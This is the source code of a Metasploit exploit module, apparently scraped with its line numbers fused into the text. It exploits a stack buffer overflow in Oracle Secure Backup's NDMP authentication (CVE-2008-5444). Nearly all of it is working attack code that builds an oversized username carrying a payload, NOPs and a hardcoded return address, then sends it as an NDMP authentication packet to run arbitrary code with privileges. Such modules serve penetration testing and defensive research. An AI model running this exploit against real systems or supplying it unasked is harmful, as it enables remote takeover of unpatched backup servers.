Path: blob/master/modules/exploits/windows/oracle/osb_ndmp_auth.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::NDMP910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',15'Description' => %q{16The module exploits a stack buffer overflow in Oracle Secure Backup.17When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,18an attacker may be able to execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-5444' ],24[ 'OSVDB', '51340' ],25[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],26],27'Platform' => 'win',28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'process',31},32'Payload' => {33'Space' => 1024,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",37},38'Targets' => [39[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll40],41'DisclosureDate' => '2009-01-14',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([Opt::RPORT(10000)])52end5354def exploit55connect5657print_status("Trying target #{target.name}...")5859ndmp_recv()6061username = rand_text_alphanumeric(3789 - payload.encoded.length)62username << payload.encoded + Rex::Arch::X86.jmp_short(6)63username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')64username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)6566password = rand_text_alphanumeric(rand(25) + 1)6768# Create the authentication request69auth = [700, # Sequence number71Time.now.to_i, # Current time720, # Message type (request)730x901, # Message name (connect_client_auth)740, # Reply sequence number750, # Error status761 # Authentication type77].pack('NNNNNNN') +78[ username.length ].pack('N') + username +79[ password.length ].pack('N') + password +80[ 4 ].pack('N')8182print_status("Sending authentication request...")83ndmp_send(auth)8485handler86disconnect87end88end899091